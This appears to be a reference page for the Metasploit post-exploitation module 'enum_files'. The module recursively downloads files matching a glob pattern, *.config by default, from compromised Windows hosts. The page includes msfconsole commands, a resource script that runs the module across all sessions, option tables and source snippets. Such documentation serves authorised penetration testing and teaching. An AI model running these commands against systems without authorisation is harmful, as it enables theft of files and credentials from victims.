Windows Gather Generic File Collection - Metasploit


This page contains detailed information about how to use the post/windows/gather/enum_files metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Windows Gather Generic File Collection
Module: post/windows/gather/enum_files
Source code: modules/post/windows/gather/enum_files.rb
Disclosure date: -
Last modification time: 2021-10-29 12:45:26 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module downloads files recursively based on the FILE_GLOBS option.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/enum_files

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/enum_files
msf post(enum_files) > show options
    ... show and set options ...
msf post(enum_files) > set SESSION session-id
msf post(enum_files) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/enum_files")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/gather/enum_files post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/enum_files

msf6 post(windows/gather/enum_files) > show info

       Name: Windows Gather Generic File Collection
     Module: post/windows/gather/enum_files
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  3vi1john <[email protected]>
  RageLtMan <rageltman@sempervictus>

Compatible session types:
  Meterpreter

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  FILE_GLOBS   *.config         yes       The file pattern to search for in a filename
  SEARCH_FROM                   no        Search from a specific location. Ex. C:\
  SESSION                       yes       The session to run this module on.

Description:
  This module downloads files recursively based on the FILE_GLOBS 
  option.

Module Options

This is a complete list of options available in the windows/gather/enum_files post exploitation module:

msf6 post(windows/gather/enum_files) > show options

Module options (post/windows/gather/enum_files):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   FILE_GLOBS   *.config         yes       The file pattern to search for in a filename
   SEARCH_FROM                   no        Search from a specific location. Ex. C:\
   SESSION                       yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/enum_files post exploitation module:

msf6 post(windows/gather/enum_files) > show advanced

Module advanced options (post/windows/gather/enum_files):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/enum_files module can do:

msf6 post(windows/gather/enum_files) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/enum_files post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/enum_files) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Invalid SEARCH_FROM option: <LOCATION>

Here is a relevant code snippet related to the "Invalid SEARCH_FROM option: <LOCATION>" error message:

63:	
64:	  def run
65:	    # When the location is set, make sure we have a valid path format
66:	    location = datastore['SEARCH_FROM']
67:	    if location and location !~ /^([a-z])\:[\\|\/].*/i
68:	      print_error("Invalid SEARCH_FROM option: #{location}")
69:	      return
70:	    end
71:	
72:	    # When the location option is set, make sure we have a valid drive letter
73:	    my_drive = $1

<MY_DRIVE> drive is not available, please try: <DRIVES.INSPECT>

Here is a relevant code snippet related to the "<MY_DRIVE> drive is not available, please try: <DRIVES.INSPECT>" error message:

71:	
72:	    # When the location option is set, make sure we have a valid drive letter
73:	    my_drive = $1
74:	    drives = get_drives
75:	    if location and not drives.include?(my_drive)
76:	      print_error("#{my_drive} drive is not available, please try: #{drives.inspect}")
77:	      return
78:	    end
79:	
80:	    datastore['FILE_GLOBS'].split(",").each do |glob|
81:	      begin

<MY_DRIVE> drive is not ready

Here is a relevant code snippet related to the "<MY_DRIVE> drive is not ready" error message:

80:	    datastore['FILE_GLOBS'].split(",").each do |glob|
81:	      begin
82:	        download_files(location, glob.strip)
83:	      rescue ::Rex::Post::Meterpreter::RequestError => e
84:	        if e.message =~ /The device is not ready/
85:	          print_error("#{my_drive} drive is not ready")
86:	          next
87:	        elsif e.message =~ /The system cannot find the path specified/
88:	          print_error("Path does not exist")
89:	          next
90:	        else

Path does not exist

Here is a relevant code snippet related to the "Path does not exist" error message:

83:	      rescue ::Rex::Post::Meterpreter::RequestError => e
84:	        if e.message =~ /The device is not ready/
85:	          print_error("#{my_drive} drive is not ready")
86:	          next
87:	        elsif e.message =~ /The system cannot find the path specified/
88:	          print_error("Path does not exist")
89:	          next
90:	        else
91:	          raise e
92:	        end
93:	      end

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See Also

Check also the following modules related to this module:

Authors

  • 3vi1john <Jbabio[at]me.com>
  • RageLtMan <rageltman[at]sempervictus>

Version

This page has been produced using Metasploit Framework version 6.1.41-dev. For more modules, visit the Metasploit Module Library.

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